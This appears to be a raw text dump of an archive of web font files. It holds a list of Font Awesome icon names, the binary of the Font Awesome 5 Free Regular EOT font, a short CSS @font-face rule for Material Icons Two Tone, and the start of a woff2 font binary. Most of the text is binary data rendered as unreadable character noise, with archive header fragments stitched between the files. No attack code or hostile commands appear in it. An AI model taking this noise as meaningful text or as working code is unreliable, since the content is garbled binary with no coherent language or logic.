table-tennisvolleyball-ball allergiesband-aidboxboxesbriefcase-medicalburncapsulesclipboard-checkclipboard-list diagnosesdnadolly dolly-flatbed file-medicalfile-medical-alt first-aid hospital-althospital-symbol id-card-alt notes-medicalpalletpillsprescription-bottleprescription-bottle-alt procedures shipping-fastsmokingsyringetablets thermometervialvials warehouseweightx-raybox-open comment-dots comment-slashcouchdonatedove hand-holdinghand-holding-hearthand-holding-usdhands hands-helping parachute-box people-carry piggy-bankribbonrouteseedlingsign smile-winktape truck-loading truck-moving video-slash wine-glassuser-alt-slashuser-astronaut user-check user-clockuser-cog user-edit user-friends user-graduate user-lock user-minus user-ninja user-shield user-slashuser-taguser-tie users-cogbalance-scale-leftbalance-scale-rightblender book-openbroadcast-towerbroom chalkboardchalkboard-teacherchurchcoins compact-disccrowcrowndice dice-five dice-fourdice-onedice-six dice-threedice-two door-closed door-openequalsfeatherfroggas-pumpglasses greater-thangreater-than-equal helicopter kiwi-bird less-thanless-than-equalmemorymicrophone-alt-slashmoney-bill-wavemoney-bill-wave-alt money-checkmoney-check-alt not-equalpaletteparking percentageproject-diagramreceiptrobotrulerruler-combinedruler-horizontalruler-verticalschool screwdriver shoe-printsskull smoking-banstore store-altstream stroopwafeltoolboxtshirtwalkingwalletangryarchwayatlasaward backspace bezier-curvebongbrushbus-altcannabis check-doublecocktailconcierge-bellcookie cookie-bitecrop-altdigital-tachographdizzydrafting-compassdrum drum-steelpan feather-alt file-contract file-download file-export file-import file-invoicefile-invoice-dollarfile-prescriptionfile-signature file-uploadfill fill-drip fingerprintfishflushed frown-openglass-martini-alt globe-africaglobe-americas globe-asiagrimacegringrin-alt grin-beamgrin-beam-sweat grin-hearts grin-squintgrin-squint-tears grin-stars grin-tears grin-tonguegrin-tongue-squintgrin-tongue-wink grin-winkgrip-horizontal grip-verticalheadphones-altheadset highlighterhot-tubhoteljointkiss kiss-beamkiss-wink-heartlaugh laugh-beam laugh-squint laugh-wink luggage-cart map-markedmap-marked-altmarkermedal meh-blankmeh-rolling-eyesmonument mortar-pestle paint-rollerpassport pen-fancypen-nib pencil-ruler plane-arrivalplane-departure prescriptionsad-crysad-tear shuttle-van signature smile-beam solar-panelspasplotch spray-canstamp star-half-altsuitcase-rollingsurprise swatchbookswimmer swimming-pool tint-slashtiredtoothumbrella-beach vector-squareweight-hangingwine-glass-alt air-freshener apple-altatombone book-readerbraincar-alt car-battery car-crashcar-sidecharging-station directions draw-polygon laptop-code layer-group microscopeoil-canpoopshapes star-of-lifeteeth teeth-open theater-masks traffic-light truck-monster truck-pickupadankhbible business-timecitycomment-dollarcomments-dollarcross dharmachakraenvelope-open-text folder-minus folder-plus funnel-dollargopuramhamsahaykaljedijournal-whillskaabakhandalandmark mail-bulkmenorahmosqueompastafarianismpeaceplace-of-worshippollpoll-hpray praying-handsquran search-dollarsearch-locationsockssquare-root-altstar-and-crescent star-of-david synagoguetorah torii-gatevihara volume-muteyin-yang blender-phone book-dead campgroundcatchair cloud-moon cloud-sundice-d20dice-d6dogdragondrumstick-bitedungeonfile-csv fist-raisedghosthammerhanukiah hat-wizardhikinghippohorse house-damagehryvniamaskmountain network-wiredotterrunningscrollskull-crossbonesspider toilet-papertractor user-injured vr-cardboardwind wine-bottlecloud-meatballcloud-moon-rain cloud-raincloud-showers-heavycloud-sun-raindemocratflag-usameteor person-booth poo-stormrainbow republicansmogtemperature-hightemperature-lowvote-yeawaterbaby baby-carriage biohazardblog calendar-day calendar-week candy-canecarrot cash-registercompress-arrows-altdumpster dumpster-fireethernetgifts glass-cheers glass-whiskey globe-europe grip-linesgrip-lines-verticalguitar heart-broken holly-berry horse-headiciclesigloomittenmug-hot radiation radiation-altrestroom satellitesatellite-dishsd-cardsim-cardskatingskiing skiing-nordicsleighsms snowboardingsnowmansnowplowtengetoilettoolstramfire-altbacon book-medical bread-slicecheeseclinic-medicalcomment-medicalcrutchegg hamburgerhand-middle-fingerhard-hathotdog ice-creamlaptop-medicalpager pepper-hot pizza-slice trash-restoretrash-restore-alt user-nurse wave-squarebiking border-all border-none border-stylefanicons phone-altphone-square-alt photo-video remove-formatsort-alpha-down-altsort-alpha-up-altsort-amount-down-altsort-amount-up-altsort-numeric-down-altsort-numeric-up-alt spell-check voicemail `)l&,PKZL^TT$fonts/fontawesome/fa-regular-400.eotnu[T,LP"36Font Awesome 5 Free RegularRegularJ329.984 (Font Awesome version: 5.9.0)6Font Awesome 5 Free Regular PFFTM-GDEF*OS/2AX`cmapǠ gaspglyfl nhead@6hhea5$hmtxtTlocaEˈ6maxp8 name-7=wUpostOA}<I3"_< %,@LfGLfPfEd.T: @@@@@@@@`@@@@@@@@@@*"$.>DYnpsu|3DFJNR\e IM[]tz([Vgz"$.>DWnpsu{3DFJMP[d GMT]qy(XVgy|zwZYB81-(}zpf`USC m H  g $   @|n*b H*Nbb ^  : :  6  ND>n8(fLDLl.lDfZhDh  h ! !J!!"f"#N#$$j$$%%P&B&' 'P'''(((l()$))*N*+6+~+,J,--..f//0,01 12 2p2334:445 566Z677b$"/.676>64'&'.7$,$+u**u$O##O$UNOT$ ** W"##"W1"/&?'&6?627/7 j  j A ( Ad>>d||&g DD g&b~~bBB"*2%2#!"&=46322654&#"#"&#"6"&462&"264:7OO7 344b3#99#3xTTxThP88P8O77O#33#TxTTx8P88P2"&4264&"'&=4;2ΑΑuuuU C Αuuu > 0  '3?GOW2#!"&5463254#!"3%+"=4;25+"=4;25+"=4;2"&462"&462"&462`lj `pT\  T  T  uu(8276#"&#"+"&5&5466325#"&#"63232P,A+=C%gA?  ')%gE;f9-4Lf9p ( S    2'4634#!"7P 0ppTvT#.2#!"&5463254#!"362"&457676`l9""((xX ""0((xXPA*/7%76#!"&5463!2+!547&?62'7'&76   `Z 0+t:A+:g `  r Z+10:A +:+2"&4264&"%//&?'&?676ΑΑuuu.>> >> >> >> Αuuu>> >> >> >>2"&4$"264/&?676ΑΑKuuu< [  ; Αauuu  [ = 8@2"&4264&"%+"&=4>7>54&#"/&7632"&462ΑΑuuu3.      %@&?A""Αuuu     64""@#/2"&54732654'6#".'&47>2267." /AA]A !-*[7&54264&"6?Ԗj/.AJ 5Vzzz(  &zz. %8FV^^^B3*   2#!"&546;25#"/#` 7 7@  7 7H"&%2#!"&546;32%763!54+'#"7!Pp@P?@PM1 @0jh*@/DT%"&=46;2+"&=46;2#3"&=46;2#2#!"&546;27"&=46;2#J 0   =`0   P 0FFE#6M%#"'#"&'&'#"&767&54632%3264&"67654&'32?&/  A<@g;B ,zV@hKeKA___x@1/R21R>  '6,' #+7B^6, Y<71B\BB.# /#$; (E,2   %&?'&6?63  j A >d?7D g&D~b#AQ&.7>&>6766&&7>2>7>&6&.7>76*  '>D88(%6*  '>D88(%5 ,36&  *6%(88D>&  i+  DF<63+ !"F<63 `)  7t@ ,82#!"&5463"!54#2=!37+"=4;2+"=4;2     H H   `0**d( ( ( ( @%-%#!"&=4?>3!2!'5!$"&462"&4627   i  NNi M  ppM2U]2++"&++"&=46;2327167>322654&+4654#";2'>'>'4&"2"1 $5."S  @  @    *2V,   **=  61" "(3( $/$ v,#$=  & 2V^546;&546321;6;2+"'#"+"&'&7&'#"&7;;2675&'&'.#"#""2641"V2*    @  @  S".5$"10[  =L   , "1 $/$  (3(" 1" &  =&$#, 3U]46326+"&=4754'1&'.5463274&#""&#"3>=4.."264j1"' "(3(   /$ v,#$&=  & m"1'$5."S  @   @     *2V,   L=  1S["&=#"&54>76716=&=46;2''26=6767=4&'#3263264&""1 $/  (3(" 1" &  =&$#,@1"V2*     @  @  S".5$"10[  =L   ,*9B++"&546;546;22=#"&=#"3%2=#"&=#"354/&+PPt`JTX j0 ~0@0>*` X 0@+3;#!"&5463!2#3254/+"&=#"362"&4264&" NzN *H44H4G"">`"PNd  h4H44HL""2#!"&5463254#!"3Z`pT 22#!"&5463!32>567!5".'&'``#dd#`#FF# 0)N N7  7`B2#""&54653+"/&2#4767654&#"#.'&546 &  8( N PIg,0+ K54L +0,ep  & (8++%%gIB25=1$05KJ60$1=% 2BGi%39%#!".54767>54675462!&5414&"0"&53   H8%:!8,B\B4&V   C,:V   ,B&,C;d.BB.d% #/Ka}754;2+"3"=4;2#+"=4;2"=4;2#!54;46;546;23232%354;23#+"&=#7#54+"#";;2=32=4 ( ( ( t ( ( L ( @  X p X  p ( p@ p @( ( ( ( T ( 4 ( ( |$$ { (  ( C C_  0+7%++"=#"=4;54;2327#!"&5463!24#!"3!2` X X X X ``0T X X X X`T2"&4264&"ΑΑuuuΑuuu/2"&4264&"6"&462"&462>"'&>2ΑΑuuu//!fΑuuuc\ 99 '02"&4264&"6"&46262"&42&'&".7ΑΑuuuso~)RΑuuuc-m1 +2"&4264&"6"&46262"&42+"&463ΑΑuuus(   Αuuuc-}@'3?KWco{2#!"&54634#!"3!2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2     `   `   `          `   `   `   `   b           n              '2#!"&546;54;2354;225!30 ( ( *`4 44 4p* %.=46"&462264&"t   4Αuuue ΑΑuuu '7"=4;2#7#!"&5463!24#!"3!2l l`0T `T#2#!"&5463!%/&?676`< [  ;  `p` [ =  A2Y&='.54767675467'".>7676#!"&546;2+"3!2=42;1+ 6(-$50I;"!0<*&>))   VT"( 6  )K-;(!9 h)A'% +`     %6&?6764&"2"&4264&"\ B B 9ZΑΑuuu> B \Αuuu &732/&6%#!"&5463!24#!"3!2}ccK`0Tcc`T &%#"&?67#!"&5463!24#!"3!2Cccu`0Tcc`T &7546&#!"&5463!24#!"3!2cc`0T]cc`T#!"&546;2'!#"&=#r.L h ^rLL  h ),5%+"=4;22+"=43%#!"&546;2'3#"&=# TLh   T   T7>3232>'2654&+4654.#+2;2'>4&"23&-E/ @  c  -3 $(K h  m&%@ !$*   # :/45'N) 9  G%&B"U.6[%+#".'.'#+"&=46;232>3:32264&"2>54&'6&'6+"#322>54&52$$ 3-  0  @  @ .G-88]b    @%&m "("454/: ?  3,$h   )"BG  9(8@H%/"/&?'&4?'&6762767'7''77&2"&4264&"<G( + (G<<G( , (G5MM[44[MM[44[V==V=Q.!!.! + )G<<F) + )G<<G54[MM[44\MM=V==Vc!.!!.&"&463276"3267&5467&jj %a>!"$h;VzzV0UT2*@Ԗ#( >$?P 9-2zz)$mU2T &/&?67#!"&5463!24#!"3!2cc`0T#ccE`T"264$2"&42"&4SuuuΑΑB//B/uuuΑ/B//B #/;GYe54;2+"3"=4;2#"=4;2#3"=4;2#+"=4;2"=4;2#!54;463!232%354;23% ( ( ( ( X ( t ( ( L ( @  P  p ( p,( ( ( ( ` ( ( ( ( T ( 4 ( ( |$$   HC C7=DJQ#!"&546;2'!#"&=##"''&76767&766>77"6467&'6&7r.L h  6' . $ 3N-  x^rLL  hD .0*[" #R#!"&546;2'!#"&=#32+"'&/+"'.'&6;2476;21676r.L h          ^rLL  h&b + H 78 `b aa B#!"&546;2'!#"&=#2+"'&'+"&?'&6;26763r.L h # . ..  ^rLL  h =N 7 NN ($6>#!"&546;2'!#"&=#54;2*#+"73264&+r.L h H E#   0 ^rLL  h %  /c(0#!"&546;2'!#"&=#57676&2"&4r.L h  ((X((^rLL  h@((X((  !$1@LP3#7#53#3#57#!"&546;23#"&=##5#7#"&?53322654."7#5 @ @ Lh 0 P   -  @  &L  h`W'a     /=#!"&546;2'!#"&=#/#"&=46;7664'&>.r.L h $$)   ^rLL  h$8$Y  : 7#!"&546;2'!#"&=#6/+"&=46;2r.L h 5 h h ^rLL  h p 4% h %$'0<M7#"/&?67#!"&546;23#"&=#7/&?6&?6/5&?99!Lh  7  7!99!c66&L  h`  O66$+"&46227''64&"264''&"67&7gΑΑ/p/522/B//B5/p/52258ΑD5UB//B//p/5225/p/522!6#"/&='.77'762< p+) r%%;`l !| .;T0 <2$-   '.5#"&'&676326767'7&'7'757/?'# ^a&'O ^a&'4_H: 'G,4%=/@G<& G@]+G'%e:@,O+ b ^Mb *N */%L=4J/}45/J>J%?4I0== @+/;GS_2#!"&546;>32=#!7"=4;2#'3554;2+"754;2+"=4;2+"54;2+"(  ! +@`= lPx h h h h h h  !  x ` ` P((      <   8@'&?63!"&54767>57"'675462'&5414&"&53z >   . |"&&%:!;B.&  0  *#D  ,B&7&/.B`%42"&4264&"#"&54>32'&#"3276ΑΑuuu3)?=O$@(;& !$*$$ Αuuu)Q<'@%# %"23K2#!"&5463254#!"37&546'&76&546'&76`lR@AR@=R@AR@> V6/.4"%6/.4"% +/37;Ocgo#32+"=!+"=4;#"=4;2!54;2'35!355#!5#'#"=!+32!543'2+"=#"=4;2'355#+ H H H @ H @ @   @  T `8 L@ H H  H H @ @ 4 4pppL  @CGKOSgk%#32+"=#+"=4;5#+"=4;5#"=4;2354;2+354;2'35355#5#354;5#"=#+325#%5#"=#32+"=#3235435#5#4 H H X H H H X H @ 8 X H X 4 H H  H H H  H  @ X H  @  %#!"&5463!27#!3546;T`LLP hdT`Lh (42+#!"&546;54632=#"&=#"3%254#!"300*0@00*`4%+132#!"=4;467.5#"=43!2#!2654&"p2//2 2//2 h KjKKjK?ss?   ?ss?   LllL`LllL)p6+"&5<&4&/&=46>62654&+"&=4&+"&=4&+"&=4&#"/&=4&354?6$C + b'8#I$@:H       a+q,(rd !  U"49#,)( r    ( )  t ) 9U d Y6+"/&676546>654&+"&=4&+"&=4&+"&=4&/.376u.  w!3 P4       sO)  7 ~!($%)!ф L       & w ]"&7.7#"&463'.>6#'32?6=4/&#"/&+";2+";2#""( X++^O8+1b"wFFw b       6 #+<+  88 857'%0 7 @  ;      @A%#5'&+"&546;7#"&=463!254/&#!";2+";2-d!4$r!/!&'v    r c$|H&!$40/!!!L  @ '(i7.7>'&67>767>2+"'&376=4?6&+"&?6."+"/.+"/./&5' /0 )   [ |  & * -* #5B82"i3 %k u` %  q      E 2^p6+"/&676546266&;2?6=4&+"&=4&+".=4&+"&=4&'546;2+"&7546;2+"&754;2+"f!9%"m!'7'!-m    DL K (#Tw7 ''J w  wT    # #   R` ` ` ` ``#^6+"/&7'&676'462654&+"&=4&+"&=4&+"/.;2?6j(%'758 % +<+#0      ;@ 7 #Fw"b1+8 O^++XF      b w,52"&4264&"+"/#+"&=46;2'254.+ΑΑuuu6+0 'Of(: Αuuu#ZTU3)! @;C%++"=#"=4;54;2327#!"&546;54;2354;232!3!2P L  L L  L p0 ( ( 00T L L  L L`4 44 4* +37"=4;2#7#!"&546;54;2354;232!3!2| |0 ( ( 00Tx   `4 44 4*;C%//&?'&?6767#!"&546;54;2354;232!3!28 66 66 66 660 ( ( 00TI66 66 66 66`4 44 4*'72#!"&546;54;2354;225!3%/&?6760 ( ( * K  ,o  `4 44 4p*Ɏ K -n  @!%*/2#"/#"&54>?6327673#0        5=? Z 5=?:./,!/*2+#"=#"&54634&#!";?326&&} `&&  C  &&^ T& &   <2 /2"&4264&"%+"&=46;2+"&=46;2ΑΑuuu( 0 0 p 0 0 Αuuu    "&462264&"+"&=46;2Αuuu   'ΑΑuuux  #+Lfn3#"&5#'#"'&/#+376;2264&"6/&'&6?#"##36???5#'&+"6?6264&"y@ : #;U  @v0Q  l - '9>*a ! % -=T A7 gn  @  L  0 W ;#>X    $I> <3 S0 5`#!"&54767>254'&'"."#3!2'#".'&'&?6232>7676`(_  dQ4/V  7  7  7  7 !K  OB) %F -    -  ,     , '+3H#32+32+#!"&5463!232!6"&462"&=463232632#  @ P4&&4& ''  @ ( @ ( 00 ( `&4&&4 "" @0<HT2#!"&5463!6"&462"&=463232632#7"=4;2#'"=4;2#'"=4;2#  4&&4& '' >ppppp`p`&4&&4 "" @@@"42"&4264&"&2"&427&'#"'%654&"6322632P88P8L((7ΑΑ8.-%%uu%)@%$%@X8P88PX((ԑΑ0& '$4@SuuS@44 '<2#!"&5463!"&46;2#"&462"&=463232632#P ` ` 4&&4& '' `0``   &4&&4 "" @$0<HP2#!"&5463!3&54632326327"=4;2#'"=4;2#'"=4;2#"&462  !''9ppppp4&&4&`p ""P@@`&4&&42#!"&54635!3!2```v !"&463!2@    &2+#!"&546;54635!%!32000@00`@0%/&//+"&=/&4?5/.?&/&?'.?>7'&/&6?'&?6'&6?65'&?6546;276?>76/76'  H;    :H  ' '" PHHP "''  H:    :H  ( '" PHHP "] "Q*T; . . ;2'3'&+"!7"=4;2#    R" d"^L  P  P  9  9`P0 @$4<G%#!"&546;#"3!2=!"3!2=452#!"&5463"&4627676! tZtx""1((hH 0 P0_""((hHP12#!"&546;462&"2644++"=#"3!2PP&4&6x* *`&&lT$ $"2"&4264&"74;232/&6;ΑΑuuu ( CddCΑuuu tdd"6462"$4&"27+/&?632Α/uuu- tddt YΑΑuuu( CddC""&462264&"54;546&=#"Αuuu- tddt 'ΑΑuuu( CddC""&462"264#"=#"&?6+gΑΑuuu( CddC8Α/uuu tddt C!$2"'&?63#3%3'#37'377#d dM94D44?D4dxD3aax4U0``````%5E2"&454+54+"327#";22#!"&54635"&5!#2!46P88P8@   0%`%%%0B\BB\fX 7  @ %%%%72#!"&54634#!"3!2'//&?'&?676`ll==  ==  ==  ==  `vT==  ==  ==  == +>62"&462"&462"&4&2#"'#"&7>7&54264&"6?Ԗj/.AJ 5Vzzz(  &zz. %8FV^^^B3*   '92"&4264&"$"'&>276&"&46272/&"&7>ΑΑuuu6//!f!% & Αuuu$ 99 ''A)    3H2"&4264&"62&'&".?"&547'.>6"&5"'&>?6ΑΑuuuj">'  P  P Αuuu) q     @    +GO2"&4264&"6"/"&4?'&4627626"/"&4?'&462762"&4ΑΑuuu        4&&4&Αuuuk    L    &4&&4 '/7?K2"&4264&"$2"&4264&"62"&4&"&462264&"62"&42+"&463ΑΑuuuB//B/<((&X/B//B5((&   Αuuu/B//BQ((,B//B/((,-2"&4264&"6"&46:"&42'&"&76ΑΑuuuN<= 141 Αuuu]"   /6=AEIMT[2"&4264&"6"&462"&4622+"&=4635#375#"5#75#5#75#5#326=4&+ΑΑuuu(  h000p000h( Αuuuc#  ` ( ((((  '/2"&4264&"%6#".'&62&"&462"&462ΑΑuuu2 M)6( )Αuuu" ".&  N #+97"'&'6762"'&'6762&2"&4264&"%6"&'&62qΑΑuuu2 MRM ) "" "" "" ""ڑΑuuu" ".."  4E2"&4264&"%6#".'&62'&7>32/&"7&7>2/&"ΑΑuuu2 M)6( ) #  & #&#  & Αuuu" ".&  V  ))) +EZ"&5476".'&62766/&"'&7>27"&4632&#"2654'2$"'&7>32/,..6' )) M`  & #&#d ΑgC:2:Suuu &  #   "E E%   ".)),%(gΑ" uuuS!  ) 4<D%6"&'&62/.7>7>7/&67676&2"&4264&"b MRM )pFF   ΑΑuuu ".."  > FDF  Αuuu,:2"&4264&"%6#".'&62.?'&63'&4?6ΑΑuuu2 M)6( ) !!PPPP !! Αuuu" ".&  /((0000(( /;JYh76"&4767&67632&#"%67#"'67327>'&76762+&/.?"'&?6367>'&676u /")7Hg<5/6S:.{$9Ig30)-S:1C /"   4  Z4  4  &.:T&@R"/6D6I;-E9I;0TR"/s Z  4Z  4p/%T:6P2"&4264&"%6"&'&62'7'&6?62/&%/&?'&6?62ΑΑuuu2 MRM )# ## Αuuu" ".."  G#  #N ##  %5CTi76"&476"'&'&6"&'6726%&>2&.""&'&62766/&"'&7>2&"'&7>32/u /"M"/ Rl #l~l# _r_ 'Em~mE& ppRM ))   & #&#&  #  R"//"R P 2;;2 1;;>f;;f? H``."   "|))"  );CK2"&45'&"/.32>>54&"&=&'&6276&2"&462"&4ΑΑ8  %1;uu;1 )) Α,    +'_9SuuS9_ ,   , ;HU2"&45'&"/.32>>54&"&=&'&6276/&4?&?'&6ΑΑ8  %1;uu;1 )) !! PPP !!Α,    +'_9SuuS9_ ,   , ((0000((!)1Ge2/&"&7>2"&4264&"62"&4&2"&45'&"/.32>>54&"&=&'&6276  & %B//B/<((&ΑΑ8  %1;uu;1 ))     4/B//BQ((,Α,    +'_9SuuS9_ ,   , %-52/&"&76"&4626"&'&622"&4264&"4(% & Z MRM )ΑΑuuu    $T ".."  6Αuuu)19A2"&4#"'&?64/&4?64/&762"&4264&"$2"&4##) ΑΑuuu q     %Αuuu#EU2/&"&7>&2"&4264&"%#"'&?64/&4?64/&7662/&"&76#  &   ΑΑuuu##) &#  &  ()  Αuuu     )!4<Ol%#"'&?64/&4?64/&7637&"&7>32'&462"/&>7676#"&4632&#&'654&"320##) F &   %ZS   /4ggg  uuuS-      L    ! S  1(Αg.,  Suuu-2"&464&"6"&462"&4622+"&'&63ΑΑKuuuuE..EΑuuuuS -<<- /=2"&464&"2/&"&76&7>2/&"2+"&'&63ΑΑKuuuu&#  &   #&#  & E..EΑuuuu0)#))M -<<- )72"&464&"/&4?6&?'&62+"&'&63ΑΑKuuuu!PP !!PE..EΑuuuu(00b((0R -<<- !)72"&464&"2/&"&7>"&4622+"&'&63ΑΑKuuuu & lE..EΑuuuu$    2S -<<- 2"&4264&"62"&462"&4ΑΑuuukΑuuu)1CO2"&4264&"$2"&42654'"&547&"&4622654'"&5472+"&463ΑΑuuu<**<*7"@*<**3262/&"&762"&4ΑΑ8uu8-f- &  %p(% & >.!!.!Α:PSuuSP:r    2     * D&4&&4&.92"&4264&"72&'&#"&46&"&46262"&46"&54ΑΑuuu<&& As$"Αuuu#.@-P14E2"&4264&"%>"'&>2''&7>32/&"62/&"'&76ΑΑuuu//!f  #  &&#  & Αuuu 99 '  )%)'2"&4264&"62"&46"&46:"&4ΑΑuuu4&&4&Αuuu;&4&&4{)82"&4264&"$/&4?&?'&62'&".76ΑΑuuuC !! PPP !!PHC #r#Αuuu((0030((0J6'  'V6![% , +O 4 6Q  B 6# Jw 0 X4 . & ? 6W & Copyright (c) Font AwesomeCopyright (c) Font AwesomeFont Awesome 5 Free RegularFont Awesome 5 Free RegularRegularRegularFont Awesome 5 Free Regular-5.9.0Font Awesome 5 Free Regular-5.9.0Font Awesome 5 Free RegularFont Awesome 5 Free Regular329.984 (Font Awesome version: 5.9.0)329.984 (Font Awesome version: 5.9.0)FontAwesome5Free-RegularFontAwesome5Free-RegularThe web's most popular icon set and toolkit.The web's most popular icon set and toolkit.https://fontawesome.comhttps://fontawesome.comFont Awesome 5 FreeFont Awesome 5 FreeRegularRegularFont Awesome 5 Free RegularFont Awesome 5 Free RegularFont Awesome 5 FreeFont Awesome 5 FreeRegularRegular      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~heartstaruserclocklist-altflagbookmarkimageedit times-circle check-circlequestion-circleeye eye-slash calendar-altcommentfolder folder-open chart-barcomments star-halflemon credit-cardhddhand-point-righthand-point-left hand-point-uphand-point-downcopysavesquareenvelope lightbulbbellhospital plus-squarecirclesmilefrownmehkeyboardcalendar play-circle minus-square check-square share-squarecompasscaret-square-downcaret-square-upcaret-square-rightfilefile-alt thumbs-up thumbs-downsunmooncaret-square-left dot-circlebuildingfile-pdf file-word file-excelfile-powerpoint file-image file-archive file-audio file-video file-code life-ring paper-planefutbol newspaper bell-slashclosed-captioning object-groupobject-ungroup sticky-noteclone hourglass hand-rock hand-paper hand-scissors hand-lizard hand-spock hand-pointer hand-peace calendar-pluscalendar-minuscalendar-timescalendar-checkmap comment-alt pause-circle stop-circle handshake envelope-open address-book address-card user-circleid-badgeid-cardwindow-maximizewindow-minimizewindow-restore snowflake trash-altimages clipboardarrow-alt-circle-downarrow-alt-circle-leftarrow-alt-circle-rightarrow-alt-circle-upgemmoney-bill-alt window-close comment-dots smile-winkangrydizzyflushed frown-opengrimacegringrin-alt grin-beamgrin-beam-sweat grin-hearts grin-squintgrin-squint-tears grin-stars grin-tears grin-tonguegrin-tongue-squintgrin-tongue-wink grin-winkkiss kiss-beamkiss-wink-heartlaugh laugh-beam laugh-squint laugh-wink meh-blankmeh-rolling-eyessad-crysad-tear smile-beamsurprisetired `)l%,PKZZiIfonts/material.cssnu[/* fallback */ @font-face { font-family: 'Material Icons Two Tone'; font-style: normal; font-weight: 400; src: url(material/material.woff2) format('woff2'); } .material-icons-two-tone { font-family: 'Material Icons Two Tone'; font-weight: normal; font-style: normal; font-size: 24px; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: 'liga'; -webkit-font-smoothing: antialiased; }PKZfonts/material/material.woff2nu[wOF2OTTO ,z ,"<#"~`"6$, [=+gWV bhk<(ޗeh+r ||+T; QFL鬎0RPhof?O qЌy= + )t5y?|Z;,  C`Zz#]=0CYQF6oL 2G;G!5)~}*qn3u=[ί)0}Ck!7%f4fi)UqA {_!(&eR=v`E@6sv'{ʿN%#6 @_pQMVq(&!C~݄oBv %5Sh/•񀅞sz9p[ڈmcmyx_?|*?ڏ2ƌȰ""vE?9eˆhF= "+>0gBHhE rN-l{F 22~zgz*DٞA?F_M,'UoA>/LOTh |]&K7B>#N8}Io,{mi+tqz>A@Laޛ\:*7@.i+tWZl7j\5bsOZD1Dtޱ㈂Ȗem7?Wq)t3 YCib!AC:f*0v H4 JĄ$z{|?m僘꒼E hp237枨 J'd足!"}Ix%l&&DG{R%e%ؔh](U <$J4mɶiҬ~&hV)fwLpmUE;$-2"Ԯ:ڒ?~V,uN՞L ȴ(; ؖ ƍ*d-J)S=$yKvv"'~~x$%!Zd7ƾ$&b;Cl; QWU^.=2<9rau |5Pw$r>Rz깫֝בggݙsch/Qnsز,xI^ec@b4 2IoF A'(p.@ ccF?g_m' #XLi-'E4hH%$@Ă90ÈEv@2Kiam6,4mEx/,ڷBD 9)>CnڼQ/b9F }99a!n#Fhb)Bh,AYdٲe[lۡ-^"̩.)uZvj֘»4~i! Sk/-BPpf49viR]>bևi^=yJ8դVl H T;JH5@p%K ne̤$SƧ?3{s3,n1"& 4F$uD AhB9! 12B#B7D ԍN:YZ BSyσ2G2 r Xh"8>/Sv$lH55Yw5oMnE7/22p uD)[ `s03':\-O,M U%P - - CC]~ܚT ]xBx\mjK8|e3>ρ9@Oes[ )@ zg7%_ϴ.B`2 e")@.{wι3lQ)߹TrjUQ! 5feg7վs Y~~3C%ɿ47k{. V!*- $^Thܺ*hP Yjٲlw`IA*lp'p8a֛gj˽!dlA66P v_xba`Db)kGnU_YƊ3qD*EWTeqAHI(bvpcڤXJJ[Ӝ))=cLmMb;*(Hm:i~˦3% &os3Q(HWҮNRBT>נo yr" DzY,C"X|·%ͺG93Tz*ۚ"zWC쓴yv7OźŽX] !e&^?/Ek)t4dbmSoDDm{{~N_2j*****""(D ̓ŋ҂]W3w{o?EDПZaꮸ r?*E4 qpCF$d 2Y"ڈ#)D!Nc"G)P<@ 6XA@TC;KAC+\qh~? 8d`A*ц &0elbNE#7O_al;YSqFzG;a9%:O`KSASV=Xڍ"r9Khr=$F'D!i[vXklw#kuTjuZkֺ<ȨLɲʞ4ȯF@7JɎC(c#!Wr8x&6 hU 9 2I'JҜ r΋/dheę3zxDJ$fޘaZ4|bL(t2%$()j 9 DÜ#WNvZtĭGodM5{UǬpܽ)G0l`߷;26pxbw&YC~ Sjԟؾ|& 5iNgi= v1D̲Fg+^yJBʢ:5ʫ\S-uԍS6}_mgm^ԤӸy[Q.q "d 0P@QX"ny.eFnjHЀ6 P`-K;= 3]#>A ^0߶iWS_I 6ګy{4'7\˺cKFd.v{tUӟߒ^${+S=q *V<"9NAB:"Ph1%V_Y3%$"g(iN l׼2L?ׄd,sE4h!"AF]DEP{V<s;(qo©o,:pKTM)Uзj/(U"/FRɐ+ڎϾآe>7mȱ ]/ JĹ 3iԣϾRջn Uiܩ5 {sq-nG#Ol;d?,i!IƔ=B SN]lBao>}K0:\A3B[߂]N= g:jܣ98x)Be? SDt^޺ݳ2]ToCO~Ӟ7h]61;vڳwߠdE]"RsvZy?Za;9[ NεE^pĐ-$HrAo9'ɹ j}Db W>/b-lbI[|)ʹJIh%)aU}w&U7jZKZ_9*n y[՗]﫠Wvثň#Tkr-q8z[>; =5( ԰3ߑ1zXa'2-(3mMtC Ir{}xBB<9Ȗ< ' צB5MtK=W^-Q`3̴c>c=>b؋~XQ08p9X 8~SCX!H@А-I& R$U^R,?K#2I^Rӊ*k[Nn}e_{3vv.cvJ3S'. *}$\G%ŞʤGUh`f;~ :gYgȭD@f'`K(LCb',dSUT[cYjđ5`K/Xq/.wTs%[;;<~+؛ݟdGE]J>4n~K$Kty٫ )`@`W@0b2@fkCȑAH(".u4cERiH+i#^ڤ&e> "14d*'P/A :ԇJzWW3dYκ6mku9y{۳1J1[tcs}3ʱ9@yn7oO|'i2sԑ#B&(W0>zb-*gp w9DP$mb2zڪ+^کciVժOlD~}rR|"weW~Hy)qVXe`Iyf#^pms$#miF^ŕT UK:˺J_Kƚg=`d63F޺]?tʟ=@?߲?c?d ZUlkh=~ЫCOAXI*MzO_/; 2"3 O0]6>agyv#?QтD]: ȡ&ldmZ3™gmu]9) {Dǡd)Ved/EBHB 4H "!<QqSwRJ(H葦џ/96gy_8,H\e[d%oNNr:]Uˡu_}Au(1GGQnsq'yA- b c hHItE3zopx3qWN|շrjkjjpI0fM2*G {cLnx+dϵW ;r/,œ iD./X&uMй&#}Xc[S{1`[fk}/G~ s#"A| 'vN36  ! UlDʂNư)Vx"Q*#[vz5š^є]2UZOw弑ʻLy%|-^J/o/ϚլF˖hS-j7\[o>ZГ]N8q736撹2X70 e-YcV2Բcx#a c%0QG HpF(DO謇~QZ-#GѲFlɰ,Ȗ@D^e#Nmh&]@znRwr잜?GmfӭeVmϪ7[Uh;,Wǔ^ c:Tf(brOեZU}:ŝ^ZN55}׭>MLƙkLnl6v8MW^B%EeD29!/dJpuq eW_wT.yMv׳6d+] 